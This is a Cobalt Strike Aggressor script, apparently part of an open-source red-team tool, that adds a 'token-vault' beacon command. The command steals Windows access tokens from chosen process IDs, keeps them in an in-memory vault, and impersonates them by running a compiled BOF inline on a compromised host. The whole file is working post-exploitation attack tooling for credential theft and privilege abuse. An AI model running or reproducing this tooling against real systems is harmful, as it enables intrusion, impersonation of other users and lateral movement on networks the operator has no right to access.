token-vault.cna

beacon_command_register(
    "token-vault", 
    "In-Memory storage for stolen/duplicated tokens.", 
    "Available Commands:\n" .
        "\tCreate a new token vault:    token-vault create\n" .
        "\tSteal and store tokens:      token-vault steal <comma separated list of PIDs> [vault-id]\n" .
        "\tUse the stored token:        token-vault use <token-id> [vault-id]\n" .
        "\tShow the stored tokens:      token-vault show [vault-id]\n" .
        "\tRemove the stored token:     token-vault remove <token-id> [vault-id]\n" .
        "\tRemove all tokens:           token-vault remove-all [vault-id]\n" .
        "\tSet the default token vault: token-vault set <vault-id>" .
        "\n" .
        "Note: the set command only set the default vault in the context of operator's CS client, not globally."
);

global('%token-vault_vaults');

alias token-vault {
	local('$handle $data, $command', '$vaultid', '@pids', '$pid_pack', '$pid_fmt');

    # Get command
    $command = $2;

    # Set is special command, since it does not interact with the beacon
    if($command eq "set")
    {
        if($3 eq '')
        {
            berror($1, "Vault id is mandadory");
            return;
        }
        %token-vault_vaults[$1] = $3;
        return;
    }

    # Pack arguments
    # Structure: <i:command id> [command specific args]
    if($command eq "create")
    {
        $args = bof_pack($1, "i", 1)
    }
    else if($command eq "steal")
    {
        # <i:command id> <i:vault addres low> <i:vault address high> <i:number of pids> <s:pid> ...
        $vaultid = get_token_vault($1, $4);
        if($vaultid == $null) {return;}

        # Awful hack to support packing dynamic number of pids
        @pids = split(',', $3);
        $pid_fmt = 'iiii'; # Static part of the args
        # Add as many 's's as we have pids
        foreach $pid (@pids)
        {
            $pid_fmt = $pid_fmt . 's';
        }
        # Join args 
        $pid_pack = join(
            ',',
            concat(
                @(
                    $1,
                    '"'.$pid_fmt.'"',
                    2,
                    'long('. ($vaultid & 0xFFFFFFFFL) . ')',
                    ($vaultid >> 32),
                    size(@pids)
                ),
                @pids
            )
        );
        # Evaluate bof_pack
        eval('$args = bof_pack('. $pid_pack . ')');
    }
    else if($command eq "show")
    {
        # <i:command id> <i:vault address low> <i:vault address high>
        $vaultid = get_token_vault($1, $3);
        if($vaultid == $null) {return;}
        $args = bof_pack($1, "iii", 3, long($vaultid & 0xFFFFFFFFL), $vaultid >> 32);
    }
    else if($command eq "use")
    {
        # <i:command id> <i:vault address low> <i:vault address high> <s: pid>
        $vaultid = get_token_vault($1, $4);
        if($vaultid == $null) {return;}
        $args = bof_pack($1, "iiis", 4, long($vaultid & 0xFFFFFFFFL), $vaultid >> 32, $3);
    }
    else if($command eq "remove")
    {
        # <i:command id> <i:vault address low> <i:vault address high> <s: pid>
        $vaultid = get_token_vault($1, $4);
        if($vaultid == $null) {return;}
        $args = bof_pack($1, "iiis", 5, long($vaultid & 0xFFFFFFFFL), $vaultid >> 32, $3);
    }
    else if($command eq "remove-all")
    {
        # <i:command id> <i:vault address low> <i:vault address high>
        $vaultid = get_token_vault($1, $3);
        if($vaultid == $null) {return;}
        $args = bof_pack($1, "iii", 6, long($vaultid & 0xFFFFFFFFL), $vaultid >> 32);
    }
    else {
        berror($1, "Unkown command: " . $command);
        return;
    }

    # Read the correct BOF file
	$barch  = barch($1);
	$handle = openf(script_resource("token-vault. $+ $barch $+ .o"));
	$data = readb($handle, -1);
	closef($handle);

    # Execute
    btask($1, "Token Vault - " . $command . " (@henkru)");
    beacon_inline_execute($1, $data, "go", $args);
}

# Get token vault id from the global hash table or fallback to the second argument
# $1 = Beacon ID
# $2 = Fallback token id
sub get_token_vault
{
    local('$vaultid');
    if ($2 eq '' && $1 in %token-vault_vaults)
    {
        $vaultid = %token-vault_vaults[$1];
    }
    else if ($2 ne '')
    {
        $vaultid = $2;
    }
    else
    {
        berror($1, "Vault id is mandadory!");
        return $null;
    }
    if ($vaultid ismatch '^[0-9a-fA-F]+$'){
        return parseNumber($vaultid, 16);
    }
    else
    {
        berror($1, "Vault id '" . $vaultid . "' is not valid hex-number.");
        return $null;
    }
}